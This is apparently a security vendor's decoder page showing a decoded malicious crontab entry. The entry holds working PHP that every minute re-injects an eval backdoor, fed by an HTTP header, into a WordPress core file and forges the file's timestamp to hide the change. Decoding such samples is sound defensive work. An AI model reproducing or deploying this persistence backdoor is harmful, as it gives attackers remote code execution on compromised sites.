Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Tue Jan 14 11:15:10 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /usr/bin/php -r '
phpConfValidate('YTo0OntpOjA7czo2MDoiL3Zhci93d3cvdmhvc3RzL3dvcmtpbmdzb2xvLmFpL2h0dHBkb2NzL3dwLWluY2x1ZGVzL21ldGEucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQXzM5OUFBNDNbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF8zOTlBQTQzJ10pOyI7aTozO3M6MzM6In5eXHMqZnVuY3Rpb25ccyt1cGRhdGVfbWV0YWRhdGF+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('eval', '@?array', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}
'



© 2023 Quttera Ltd. All rights reserved.